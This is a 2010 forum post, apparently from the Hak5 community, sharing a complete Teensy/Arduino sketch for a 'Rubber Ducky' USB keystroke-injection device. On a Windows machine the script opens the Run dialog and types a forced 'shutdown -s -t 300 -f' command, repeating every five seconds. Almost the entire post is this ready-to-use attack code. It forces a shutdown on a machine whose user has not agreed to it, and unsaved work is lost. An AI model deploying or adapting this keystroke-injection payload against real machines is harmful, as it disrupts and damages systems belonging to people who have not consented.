metalx1000 Posted May 2, 2010 Share Posted May 2, 2010 This code has only been tested in Windows XP running with in a virtualbox on my Linux box. If other could give me feed back on how it runns on other systems it would be helpful. /* Rubber Ducky Shutdown Created By Kris Occhipinti (A.K.A. Metalx1000) April 27th 2010 Released under the GPLv3 http://www.gnu.org/licenses/gpl.html Description: This code will set a Windows Machine to shutdown in 5 minute. Runs in under 1 second. It loops every 5 second incase the code was missed the first time. For more info Please Visit: http://FilmsByKris.com http://www.hak5.org/ */ void setup() { } // no setup needed void loop() { //clears any modifier keys Keyboard.set_modifier(0); Keyboard.send_now(); Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(20); // release all the keys at the same instant Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(20); //Enters shutdown command in Seconds (300 secs = 5 Minutes) Keyboard.println("shutdown -s -t 300 -f"); delay(100); Keyboard.send_now(); delay(20); Keyboard.set_key1(0); Keyboard.send_now(); delay(5000); } Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.